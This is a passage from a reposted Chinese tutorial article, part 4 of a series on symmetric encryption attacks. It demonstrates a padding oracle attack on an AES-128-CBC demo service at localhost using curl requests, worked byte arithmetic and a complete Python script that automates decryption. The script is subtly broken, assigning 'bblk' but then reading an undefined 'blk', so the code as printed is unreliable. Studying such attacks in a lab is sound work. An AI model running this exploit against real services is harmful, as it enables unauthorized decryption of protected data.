设为首页 - 加入收藏 ASP站长网(Aspzz.Cn)- 科技、建站、经验、云计算、5G、大数据,站长网!
热搜: 创业者 手机 数据
当前位置: 首页 > 运营中心 > 建站资源 > 策划 > 正文

对称加密与攻击案例分析(4)

发布时间:2019-06-12 12:14 所属栏目:20 来源:有价值炮灰
导读:该应用可以接收一个明文返回其密文(enc),也可以接收密文返回对应信息。 $curlhttp://localhost:5000/enc/See_you_in_Red_Square_at_4_pm 00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6

该应用可以接收一个明文返回其密文(enc),也可以接收密文返回对应信息。

  1. $ curl http://localhost:5000/enc/See_you_in_Red_Square_at_4_pm 
  2. 00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455 
  3.  
  4. $ curl http://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455 
  5. valid 
  6.  
  7. $ curl http://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8466 
  8. Error: Padding is incorrect. 

作为攻击者,我们拿到的只有加密后的信息,目的就是要将其解密,查看明文内容:

  1. 00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455 

方便起见,我们假设已知服务器使用的是AES-128-CBC加密算法,且IV组合在密文头部。其实不知道也没关系,只不过需要多试几次罢了。根据前面介绍的原理,我们先将密文分割成128/8=16字节的3个块:

  1. block[0] = '00000000000000000000000000000000' 
  2. block[1] = 'c8ab1c881b40d54d81d1efab429ad239' 
  3. block[2] = 'dac1d6573e7c26d533ffc3cbc23a8455' 

经测试,当服务器遇到填充错误会返回Error: Padding is incorrect.或者Error: PKCS#7 padding is incorrect.,那么这就可以作为我们Padding Oracle攻击的依据。

首先将block[1]最后一字节从0×00开始到0xff不断变异尝试,发现当值为0x3b时候出现了非Padding错误,此时:

  1. I2[15] = _C1[15] ^ _P2[15] = 0x3b ^ 0x01 = 0x3a 

则明文最后一字节为:

  1. P2[15] = I2[15] xor C1[15] = 0x3a ^ 0x39 = 0x03 

依此类推,不断从后往前猜解每个字节的值。一个简单的自动化脚本如下:

  1. #!/usr/bin/env python3 
  2. import time 
  3. import requests 
  4. import binascii 
  5.  
  6. url = 'http://localhost:5000/dec/'  
  7. data = '00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455' 
  8. BSIZE = 16 
  9.  
  10. def test(data): 
  11.     r = requests.get(url + data) 
  12.     return r.text 
  13.  
  14. b = binascii.unhexlify(data) 
  15. nblocks = int(len(b) / BSIZE) 
  16. blocks = [] 
  17. print('nblocks:', nblocks) 
  18. for i in range(nblocks): 
  19.     bblk = b[i*BSIZE: (i+1)*BSIZE] 
  20.     print(f'block[{i}] =', binascii.hexlify(blk)) 
  21.     blocks.append(blk) 
  22. print('iv:', b[:BSIZE]) 
  23.  
  24. blockID = -1 
  25. prevID = blockID - 1 
  26.  
  27. print(f'decrypting block[{blockID}], prev =', binascii.hexlify(blocks[prevID])) 
  28.  
  29. plaintext = bytearray(16) 
  30. inter = bytearray(16) 
  31. for byteIdx in range(BSIZE-1, -1, -1): 
  32.     prevBlock = bytearray(blocks[prevID]) 
  33.     print(f'mutating block[{prevID}][{byteIdx}]') 
  34.     origin = prevBlock[byteIdx] 
  35.     padValue = BSIZE - byteIdx 
  36.     # 将byteIdx之前的值可以任意随机设置 
  37.     for i in range(byteIdx): 
  38.         prevBlock[i] = 0x11 
  39.     # 将byteIdx之后的值设置为令其明文为padValue的值 
  40.     for i in range(byteIdx + 1, BSIZE): 
  41.         prevBlock[i] = inter[i] ^ padValue 
  42.     print('begin:', prevBlock.hex()) 
  43.     found = False 
  44.     for val in range(0x100): 
  45.         prevBlock[byteIdx] = val 
  46.         _blocks = blocks.copy() 
  47.         _blocks[prevID] = bytes(prevBlock) 
  48.         payload = b''.join(_blocks) 
  49.         payload = binascii.hexlify(payload).decode() 
  50.         resp = test(payload) 
  51.         # print(f'testing', binascii.hexlify(prevBlock), '->', resp, end='\r') 
  52.         if 'incorrect' in resp: 
  53.             continue 
  54.         i2 = padValue ^ val 
  55.         p2 = origin ^ i2 
  56.         inter[byteIdx] = i2 
  57.         plaintext[byteIdx] = p2 
  58.         print(f'found c={val}, i={padValue}^{val}={i2}, o={origin}, p={p2}') 
  59.         found = True 
  60.         break 
  61.     if not found: 
  62.         print('Error: no valid value found') 
  63.         break 
  64. print('plaintext =', plaintext) 

(编辑:ASP站长网)

网友评论
推荐文章
    热点阅读